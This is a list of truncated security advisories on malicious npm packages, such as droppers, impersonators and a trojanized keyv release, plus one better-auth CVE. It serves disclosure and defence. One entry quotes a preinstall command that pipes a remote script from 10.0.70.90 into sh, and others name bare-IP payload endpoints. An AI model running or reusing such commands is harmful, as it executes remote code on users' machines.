MAL-2026-13483 Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

Malicious code in bigops-telephony-ui-adapter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 95bba7270d3de4aa970aefb0ef6b0017f4d9663219dd0eccbb44b5d3c9dd6f6a The package main index.js unconditionally requires init.js, which on module load selects a platform-specific asset linuxx64, linuxarm64, darwin, win3...

MAL-2026-12838 Malicious code in bigops-tcrm-identity-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 183fa24523e19286718ff854ed8d080c8d8635d6d914a3fbb871c388660fc479 [email protected] is a dropper disguised as a session-management utility. Its main entry index.js requires bootstrap.js on load, which...

MAL-2026-12666 Malicious code in crypto-checkout-api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b15806df14aa955b2d5e08414d4f22ad71a9d1ac823aa7557e8f9d490d78761d index.js exports getPlugin which issues an HTTPS request to a hardcoded bare-IP endpoint at https://46.183.25.232:45000/icons/112 and passes the...

Malicious code in async-mutex-lock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e195fef439eb6af3d28576857a30030e4bd839406fa36b2f939279743f12188e The package is advertised as a mutex-lock utility but ships none of the documented API no Mutex/lock/unlock. Its sole export, getPlugin in index.js,...

MAL-2026-12513 Malicious code in async-mutex-lock (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e195fef439eb6af3d28576857a30030e4bd839406fa36b2f939279743f12188e The package is advertised as a mutex-lock utility but ships none of the documented API no Mutex/lock/unlock. Its sole export, getPlugin in index.js,...

Malicious code in express-rate-controller (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43c2ed4e91378e1ca9df444de58c0ff3afebce39741ab67011b55490740cac11 The package is published under the name express-rate-controller but describes itself as an SVG utilities library and ships a bin named svgcraft — the...

MAL-2026-12378 Malicious code in express-rate-controller (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 43c2ed4e91378e1ca9df444de58c0ff3afebce39741ab67011b55490740cac11 The package is published under the name express-rate-controller but describes itself as an SVG utilities library and ships a bin named svgcraft — the...

Malicious code in twork-data-services-getting-arrests (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fcfe9505e3a40e8cd4c314f982901e6cbc0c988fbe6ae5fef58c6c1dc5b78a33 [email protected] acts as a binary dropper. index.js top-level requires./support.js, whose start runs at load time: it selec...

MAL-2026-12292 Malicious code in twork-data-services-getting-arrests (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fcfe9505e3a40e8cd4c314f982901e6cbc0c988fbe6ae5fef58c6c1dc5b78a33 [email protected] acts as a binary dropper. index.js top-level requires./support.js, whose start runs at load time: it selec...

MAL-2026-11524 Malicious code in keyv (npm)

npm/keyv version 6.0.0 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases through GitHub Action...

CVE-2026-67335

Affected software: better-auth before 1.6.2. Vulnerability: OAuth state validation failure due to cookie-backed state storage without PKCE, allowing attackers to forge the state and supply an attacker-controlled authorization code. Impact: can create authenticated sessions bound to the attacker's...

Malicious code in chain-analyze (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eb22a3b9c64598bc202456844105c3e3e7f7e7185abe335b2694d85deb1b6c9d The published tarball's dist bundles dist/sigchain-js.cjs.js, dist/sigchain-js.esm.js, dist/sigchain-js.umd.js execute at module load: they read an...

MAL-2026-10669 Malicious code in dbconnectify (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6a41259fb0099de58bc669907fa6fb20331d794b13008df0afb42893808e4ab The package exposes a method queryDBConnect that base64-decodes a hardcoded URL HASHKEY → https://api.jsonbin.io/v3/b/6a609e63f5f4af5e29b05907,...

MAL-2026-10553 Malicious code in home-mp-commons (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 885b9dad73e9eeb07a1fcb4a94493ec85573f656f7b9347a8682f56db359cfd6 [email protected] is an empty npm package declared main index.js is absent from the tarball whose sole effect on install is to resolve a single...

MAL-2026-10508 Malicious code in nodemon-elint (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 869b2e1ce23c7668369cd6316bca7d3f8a564fa575ebbee8d1e3cf6a68d4ccaa [email protected] copies the source tree, README, author metadata, and homepage of the legitimate nodemon package but is published under a...

MAL-2026-10422 Malicious code in sso-users-detection (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dc80441472ec24451f83aebdc186d5bc532ddadaac8888d3d30b72c17c94f993 [email protected] is a hollow package main exports , empty author/description, inflated 99.9.1 version whose sole effect on install is to pu...

MAL-2026-10156 Malicious code in notify-logs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fec337f1c1858ad605f875ea51feb09f84fbd2eb702c7bc0462dbb427b3eff05 [email protected] presents itself as the pino logger export name pino, README and type definitions mimic pino, npm version badge points at the...

Malicious code in polymarket-apis (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd77c8861490c0b5607b4029f8f9e51f12efb83a6696fc51b953b0a3cde1356b The package impersonates the Polymarket brand name polymarket-apis, author polymarket but contains no Polymarket API integration. Its exported...

MAL-2026-6544 Malicious code in chai-as-persisted (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5cf9c49450e0fa0d47be1b6ae27991f844868ff6c435d2082948b5feae862709 The package's postinstall script npm run smoke:pino executes index.js, which spawns a detached node lib/initializeCaller.js child. That module hides...